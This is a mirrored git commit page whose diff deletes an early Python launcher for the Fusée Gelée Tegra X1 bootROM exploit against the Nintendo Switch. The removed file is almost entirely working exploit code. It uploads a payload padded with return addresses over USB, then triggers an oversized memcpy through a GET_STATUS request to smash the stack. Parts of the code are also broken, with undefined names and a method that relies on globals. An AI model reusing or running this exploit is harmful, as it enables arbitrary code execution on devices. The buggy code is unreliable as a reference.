mirror of
https://github.com/Qyriad/fusee-launcher.git
synced 2024-11-22 10:39:17 +01:00
Remove the matcheshash file
It only needs to be in the history to prove that a file with its hash existed at some point.
This commit is contained in:
parent
fab04e9145
commit
94a3d0aed3
@ -1,174 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
#
|
|
||||||
# fusée gelée
|
|
||||||
#
|
|
||||||
# Launcher for the {re}switched coldboot/bootrom hacks--
|
|
||||||
# launches payloads above the Horizon
|
|
||||||
#
|
|
||||||
# discovery and implementation by @ktemkin
|
|
||||||
# likely independently discovered by lots of others <3
|
|
||||||
#
|
|
||||||
# special thanks to:
|
|
||||||
# SciresM, motezazer -- guidance and support
|
|
||||||
# hedgeberg, andeor -- dumping the Jetson bootROM
|
|
||||||
# TuxSH -- for IDB notes that were nice to peek at
|
|
||||||
#
|
|
||||||
|
|
||||||
import usb
|
|
||||||
import time
|
|
||||||
|
|
||||||
|
|
||||||
# notes:
|
|
||||||
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
|
|
||||||
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
|
|
||||||
# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>
|
|
||||||
|
|
||||||
class RCMHax:
|
|
||||||
|
|
||||||
# FIXME: these are the jetson's; replace me with the Switch's
|
|
||||||
SWITCH_RCM_VID = 0x0955
|
|
||||||
SWITCH_RCM_PID = 0X7321
|
|
||||||
|
|
||||||
# USB constants used
|
|
||||||
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
|
|
||||||
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
|
|
||||||
GET_DESCRIPTOR = 0x6
|
|
||||||
GET_CONFIGURATION = 0x8
|
|
||||||
|
|
||||||
# Interface requests
|
|
||||||
GET_STATUS = 0x0
|
|
||||||
|
|
||||||
# Exploit specifics
|
|
||||||
COPY_START_ADDRESS = 0x40003982
|
|
||||||
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
|
|
||||||
STACK_END = 0x40010000
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
""" Set up our RCM hack connection."""
|
|
||||||
|
|
||||||
# The first write into the bootROM touches the lowbuffer.
|
|
||||||
self.current_buffer = 0
|
|
||||||
|
|
||||||
# Grab a connection to the USB device itself.
|
|
||||||
self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)
|
|
||||||
|
|
||||||
# Keep track of the total amount written.
|
|
||||||
self.total_written = 0
|
|
||||||
|
|
||||||
if self.dev is None:
|
|
||||||
raise IOError("No Switch found?")
|
|
||||||
|
|
||||||
def get_device_descriptor(self):
|
|
||||||
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
|
|
||||||
|
|
||||||
def read(self, length):
|
|
||||||
""" Reads data from the RCM protocol endpoint. """
|
|
||||||
return self.dev.read(0x81, length, 1000)
|
|
||||||
|
|
||||||
|
|
||||||
def write(self, data):
|
|
||||||
""" Writes data to the main RCM protocol endpoint. """
|
|
||||||
|
|
||||||
length = len(data)
|
|
||||||
packet_size = 0x1000
|
|
||||||
|
|
||||||
while length:
|
|
||||||
data_to_transmit = min(length, packet_size)
|
|
||||||
length -= data_to_transmit
|
|
||||||
|
|
||||||
chunk = data[:data_to_transmit]
|
|
||||||
data = data[data_to_transmit:]
|
|
||||||
self.write_single_buffer(chunk)
|
|
||||||
|
|
||||||
|
|
||||||
def write_single_buffer(self, data):
|
|
||||||
"""
|
|
||||||
Writes a single RCM buffer, which should be 0x1000 long.
|
|
||||||
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
|
|
||||||
If it's not, send a ZLP.
|
|
||||||
"""
|
|
||||||
self._toggle_buffer()
|
|
||||||
return self.dev.write(0x01, data, 1000)
|
|
||||||
|
|
||||||
|
|
||||||
def _toggle_buffer(self):
|
|
||||||
"""
|
|
||||||
Toggles the active target buffer, paralleling the operation happening in
|
|
||||||
RCM on the X1 device.
|
|
||||||
"""
|
|
||||||
self.current_buffer = 1 - self.current_buffer
|
|
||||||
|
|
||||||
|
|
||||||
def get_current_buffer_address(self):
|
|
||||||
""" Returns the base address for the current copy. """
|
|
||||||
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
|
|
||||||
|
|
||||||
|
|
||||||
def read_device_id(self):
|
|
||||||
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
|
|
||||||
return self.read(16)
|
|
||||||
|
|
||||||
|
|
||||||
def switch_to_highbuf(self):
|
|
||||||
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
|
|
||||||
|
|
||||||
if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
|
|
||||||
switch.write(smash_buffer)
|
|
||||||
|
|
||||||
|
|
||||||
def trigger_controlled_memcpy(self, length=None):
|
|
||||||
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
|
|
||||||
|
|
||||||
# Determine how much we'd need to transmit to smash the full stack.
|
|
||||||
if length is None:
|
|
||||||
length = self.STACK_END - self.get_current_buffer_address()
|
|
||||||
|
|
||||||
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Get a connection to our device
|
|
||||||
switch = RCMHax()
|
|
||||||
print("Switch device id: {}".format(switch.read_device_id()))
|
|
||||||
|
|
||||||
# Prefix the image with an RCM command, so it winds up loaded into memory
|
|
||||||
# at the right location (0x40010000).
|
|
||||||
|
|
||||||
# Use the maximum length so we can transmit as much payload as we want;
|
|
||||||
# we'll take over before we get to the end.
|
|
||||||
length = 0x30298
|
|
||||||
payload = length.to_bytes(4, byteorder='little')
|
|
||||||
|
|
||||||
# pad out to 680 so the payload starts at the right address in IRAM
|
|
||||||
payload += b'\0' * (680 - len(payload))
|
|
||||||
|
|
||||||
# for now, populate from [0x40010000, 0x40020000) with the payload address,
|
|
||||||
# ensuring we smash the stack properly; we can pull this down once we figure
|
|
||||||
# out the stack frame we're actually in for sure
|
|
||||||
print("Setting ourselves up to smash the stack...")
|
|
||||||
payload_location = 0x40020000
|
|
||||||
payload_location_raw = payload_location.to_bytes(4, byteorder='little')
|
|
||||||
payload += (payload_location_raw * 16384) # TODO: remove this magic number
|
|
||||||
|
|
||||||
# read the payload into memory
|
|
||||||
with open("payload.bin", "rb") as f:
|
|
||||||
payload += f.read()
|
|
||||||
|
|
||||||
# pad the payload to fill a request exactly
|
|
||||||
payload_length = len(payload)
|
|
||||||
padding_size = 0x1000 - (payload_length % 0x1000)
|
|
||||||
payload += (b'\0' * padding_size)
|
|
||||||
|
|
||||||
# send the payload
|
|
||||||
print("Uploading payload...")
|
|
||||||
switch.write(payload)
|
|
||||||
|
|
||||||
# smash less as a first test
|
|
||||||
print("Smashing the stack...")
|
|
||||||
switch.switch_to_highbuf()
|
|
||||||
|
|
||||||
try:
|
|
||||||
switch.trigger_controlled_memcpy()
|
|
||||||
except IOError:
|
|
||||||
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user